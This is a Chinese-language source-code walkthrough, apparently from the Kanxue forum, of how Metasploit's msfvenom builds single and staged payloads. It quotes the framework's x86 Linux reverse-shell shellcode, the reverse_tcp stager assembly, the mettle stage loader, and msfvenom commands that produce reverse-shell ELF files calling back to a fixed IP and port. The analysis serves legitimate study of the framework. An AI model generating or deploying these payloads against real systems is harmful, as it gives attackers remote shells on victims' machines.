一
msf 结构
1.1. 架构图
1.2. 攻击链
二
payloads
stager: 传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。
stage: 传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
2.1. Single
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > meterpreter_reverse_tcp
为例。msfvenom
中的venom_generator.generate_payload
函数。payload_generator.rb
。通过一系列参数检查。然后调用generate_raw_payload
函数。payload_module.generate_simple
,路径为simplepayload.rb
,调用Msf::Simple::Payload.generate_simple(self, opts, &block)
。EncodedPayload.create
,路径为encoded_payload.rb
,调用generate
函数。generate_raw()
,然后调用generate_complete
函数。apply_prepends(generate)
。这里根据generate选择对应的生成函数。在本例中,选择的是meterpreter_reverse_tcp.rb
。MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
generate_config
,根据 datastore设定对应的config文件,然后调用Mettle.new()
函数实例化对象,调用to_binary
函数生成对应的bin文件。to_binary
函数如下:#
# Available formats are :process_image, :dylib, :dylib_sha1 and :exec
#
def to_binary(format=:process_image)
# 读取模板
bin = self.class.read(@platform, format)
unless @config.empty?
# 将配置文件转化为串 `mettle -U "E1tOcvbz2ZSWf5B+9xap0g==" -G "AAAAAAAAAAAAAAAAAAAAAA==" -u "tcp://10.96.101.161:8888" -d "0" -o "" -b "0" ` + "x00" * (CMDLINE_MAX - cmd_line.length)
params = generate_argv
# 将串插入到模板中
bin = add_args(bin, params)
end
bin
end
add_args函数如下
:def add_args(bin, params)
if params[8] != "x00"
# 替换对应位置内容,查询知应为rdata区。
bin.sub(CMDLINE_SIG + ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params)
else
bin
end
end
payload_generator
中的format_payload(raw_payload)
得到最终的payload可执行程序。msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp
为例,前面都同上,在调用apply_prepends(generate)
时本例中,选择的是shell_reverse_tcp.rb
。
"x31xdb" + # xor ebx,ebx
"xf7xe3" + # mul ebx
"x53" + # push ebx
"x43" + # inc ebx
"x53" + # push ebx
"x6ax02" + # push byte +0x2
"x89xe1" + # mov ecx,esp
"xb0x66" + # mov al,0x66 (sys_socketcall)
"xcdx80" + # int 0x80
"x93" + # xchg eax,ebx
"x59" + # pop ecx
"xb0x3f" + # mov al,0x3f (sys_dup2)
"xcdx80" + # int 0x80
"x49" + # dec ecx
"x79xf9" + # jns 0x11
"x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push ip addr
"x68x02x00" + [datastore['LPORT'].to_i].pack('S>') + # push port
"x89xe1" + # mov ecx,esp
"xb0x66" + # mov al,0x66 (sys_socketcall)
"x50" + # push eax
"x51" + # push ecx
"x53" + # push ebx
"xb3x03" + # mov bl,0x3
"x89xe1" + # mov ecx,esp
"xcdx80" + # int 0x80
"x52" + # push edx
# Split shellname into 4-byte words and push them one-by-one
# on to the stack
shell_padded.bytes.reverse.each_slice(4).map do |word|
"x68" + word.reverse.pack('C*')
end.join +
"x89xe3" + # mov ebx,esp
"x52" + # push edx
"x53" + # push ebx
"x89xe1" + # mov ecx,esp
"xb0x0b" + # mov al,0xb (execve)
"xcdx80" # int 0x80
format_payload(raw_payload)
阶段,会将shellcode插入到一个ELF中,并修改对应的偏移,得到最后完整的可执行elf文件。在本例中,templates路径为
/data/templates/template_x86_linux.bin
。2.2. stage
2.2.1. stager
-p linux/x86/meterpreter/reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > reverse_tcp
为例: 在在调用apply_prepends(generate)
时本例中,选择的是reverse_tcp_x86.rb
。和前述不同的是,对应代码不是在modules目录下,而是在core目录下。
asm = %Q^
push #{retry_count} ; retry counter
pop esi
create_socket:
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push 0x2
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall (socket())
xchg eax, edi ; store the socket in edi
set_address:
pop ebx ; set ebx back to zero
push #{encoded_host}
push #{encoded_port}
mov ecx, esp
try_connect:
push 0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int 0x80 ; sys_socketcall (connect())
test eax, eax
jns mprotect
handle_failure:
dec esi
jz failed
push 0xa2
pop eax
push 0x#{sleep_nanoseconds.to_s(16)}
push 0x#{sleep_seconds.to_s(16)}
mov ebx, esp
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
jns create_socket
jmp failed
^
asm << asm_send_uuid if include_send_uuid
asm << %Q^
mprotect:
mov dl, 0x#{mprotect_flags.to_s(16)}
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
mov al, 0x7d
int 0x80 ; sys_mprotect
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
mov #{read_reg}, 0x#{read_length.to_s(16)}
mov al, 0x3
int 0x80 ; sys_read (recv())
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1
int 0x80 ; sys_exit
^
asm
end
2.2.2. stage
%(
push edi ; save sockfd
xor ebx, ebx ; address
mov ecx, #{payload.length} ; length
mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
mov esi, 34 ; MAP_PRIVATE | MAP_ANONYMOUS
xor edi, edi ; fd
xor ebp, ebp ; pgoffset
mov eax, 192 ; mmap2
int 0x80 ; syscall
; receive mettle process image
mov edx, eax ; save buf addr for next code block
pop ebx ; sockfd
push 0x00000100 ; MSG_WAITALL
push #{payload.length} ; size
push eax ; buf
push ebx ; sockfd
mov ecx, esp ; arg array
mov ebx, 10 ; SYS_READ
mov eax, 102 ; sys_socketcall
int 0x80 ; syscall
; setup stack
pop edi
xor ebx, ebx
and esp, 0xfffffff0 ; align esp
add esp, 40
mov eax, 109
push eax
mov esi, esp
push ebx ; NULL
push ebx ; AT_NULL
push edx ; mmap buffer
mov eax, 7
push eax ; AT_BASE
push ebx ; end of ENV
push ebx ; NULL
push edi ; sockfd
push esi ; m
mov eax, 2
push eax ; argc
; down the rabbit hole
mov eax, #{entry_offset}
add edx, eax
jmp edx
)
end
三
msf新建payload流程分析
/usr/share/metasploit-framework/lib/msf/core/payload.rb:303:in `generate_complete'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:118:in `generate_raw'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:74:in `generate'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:24:in `create'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:52:in `generate_simple'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:139:in `generate_simple'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:478:in `generate_raw_payload'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:422:in `generate_payload'
/usr/bin/msfvenom:469:in `<main>'
msfvenom
生成payload :msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp
begin
venom_generator = Msf::PayloadGenerator.new(generator_opts)
payload = venom_generator.generate_payload
rescue Msf::InvalidFormat => e
$stderr.puts "Error: #{e.message}"
$stderr.puts dump_formats
rescue ::Exception => e
elog("#{e.class} : #{e.message}n#{e.backtrace * "n"}")
$stderr.puts "Error: #{e.message}"
end
payload = venom_generator.generate_payload
# This method is a wrapper around all of the other methods. It calls the correct
# methods in order based on the supplied options and returns the finished payload.
# @return [String] A string containing the bytes of the payload in the format selected
def generate_payload
...
raw_payload = generate_raw_payload
raw_payload = add_shellcode(raw_payload)
## 后面是原始payload编码混淆
if encoder != nil and encoder.start_with?("@")
raw_payload = multiple_encode_payload(raw_payload)
else
raw_payload = encode_payload(raw_payload)
end
if padnops
@nops = nops - raw_payload.length
end
raw_payload = prepend_nops(raw_payload)
gen_payload = format_payload(raw_payload)
end
raw_payload = generate_raw_payload
# This method generates the raw form of the payload as generated by the payload module itself.
# @raise [Msf::IncompatiblePlatform] if no platform was selected for a stdin payload
# @raise [Msf::IncompatibleArch] if no arch was selected for a stdin payload
# @raise [Msf::IncompatiblePlatform] if the platform is incompatible with the payload
# @raise [Msf::IncompatibleArch] if the arch is incompatible with the payload
# @return [String] the raw bytes of the payload to be generated
def generate_raw_payload
if payload == 'stdin'
if arch.blank?
raise IncompatibleArch, "You must select an arch for a custom payload"
elsif platform.blank?
raise IncompatiblePlatform, "You must select a platform for a custom payload"
end
stdin
else
raise PayloadGeneratorError, "A payload module was not selected" if payload_module.nil?
chosen_platform = choose_platform(payload_module)
if chosen_platform.platforms.empty?
raise IncompatiblePlatform, "The selected platform is incompatible with the payload"
end
chosen_arch = choose_arch(payload_module)
unless chosen_arch
raise IncompatibleArch, "The selected arch is incompatible with the payload"
end
# 这里是生成的位置
payload_module.generate_simple(
'Format' => 'raw',
'Options' => datastore,
'Encoder' => nil,
'MaxSize' => @space,
'DisableNops' => true
)
end
end
generate_simple
#
# Calls the class method.
#
def generate_simple(opts, &block)
Msf::Simple::Payload.generate_simple(self, opts, &block)
end
#
# Generate a payload with the mad skillz. The payload can be generated in
# a number of ways.
#
# opts can have:
#
# Encoder => A encoder module name.
# BadChars => A string of bad characters.
# Format => The format to represent the data as: ruby, perl, c, raw
# Options => A hash of options to set.
# OptionStr => A string of options in VAR=VAL form separated by
# whitespace.
# NoComment => Disables prepention of a comment
# NopSledSize => The number of NOPs to use
# MaxSize => The maximum size of the payload.
# Iterations => Number of times to encode.
# Force => Force encoding.
#
# raises:
#
# BadcharError => If the supplied encoder fails to encode the payload
# NoKeyError => No valid encoder key could be found
# ArgumentParseError => Options were supplied improperly
#
def self.generate_simple(payload, opts, &block)
# Clone the module to prevent changes to the original instance
payload = payload.replicant
Msf::Simple::Framework.simplify_module(payload)
yield(payload) if block_given?
# Import any options we may need
payload._import_extra_options(opts)
framework = payload.framework
# Generate the payload
e = EncodedPayload.create(payload,
'BadChars' => opts['BadChars'],
'MinNops' => opts['NopSledSize'],
'PadNops' => opts['PadNops'],
'Encoder' => opts['Encoder'],
'Iterations' => opts['Iterations'],
'ForceEncode' => opts['ForceEncode'],
'DisableNops' => opts['DisableNops'],
'Space' => opts['MaxSize'])
...
create
#
# This method creates an encoded payload instance and returns it to the
# caller.
#
def self.create(pinst, reqs = {})
# Create the encoded payload instance
p = EncodedPayload.new(pinst.framework, pinst, reqs)
p.generate(reqs['Raw'])
return p
end
generate
#
# This method generates the full encoded payload and returns the encoded
# payload buffer.
#
# @return [String] The encoded payload.
def generate(raw = nil)
self.raw = raw
self.encoded = nil
self.nop_sled_size = 0
self.nop_sled = nil
self.encoder = nil
self.nop = nil
# Increase thread priority as necessary. This is done
# to ensure that the encoding and sled generation get
# enough time slices from the ruby thread scheduler.
priority = Thread.current.priority
if (priority == 0)
Thread.current.priority = 1
end
begin
# First, validate
pinst.validate()
# Propagate space information when set
unless self.space.nil?
# Tell the payload how much space is available
pinst.available_space = self.space
# Reserve 10% of the available space if encoding is required
pinst.available_space -= (self.space * 0.1).ceil if needs_encoding
end
# Generate the raw version of the payload first
generate_raw() if self.raw.nil?
....
generate_raw()
#
# Generates the raw payload from the payload instance. This populates the
# {#raw} attribute.
#
# @return [String] The raw, unencoded payload.
def generate_raw
self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '')
# If an encapsulation routine was supplied, then we should call it so
# that we can get the real raw payload.
if reqs['EncapsulationRoutine']
self.raw = reqs['EncapsulationRoutine'].call(reqs, raw)
end
end
generate_complete
#
# Generates the payload and returns the raw buffer to the caller,
# handling any post-processing tasks, such as prepended code stubs.
def generate_complete
apply_prepends(generate)
end
shell_reverse_tcp.rb
。
四
总结
看雪ID:安和桥南
https://bbs.kanxue.com/user-home-882195.htm
#
原文始发于微信公众号(看雪学苑):metasploit浅析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论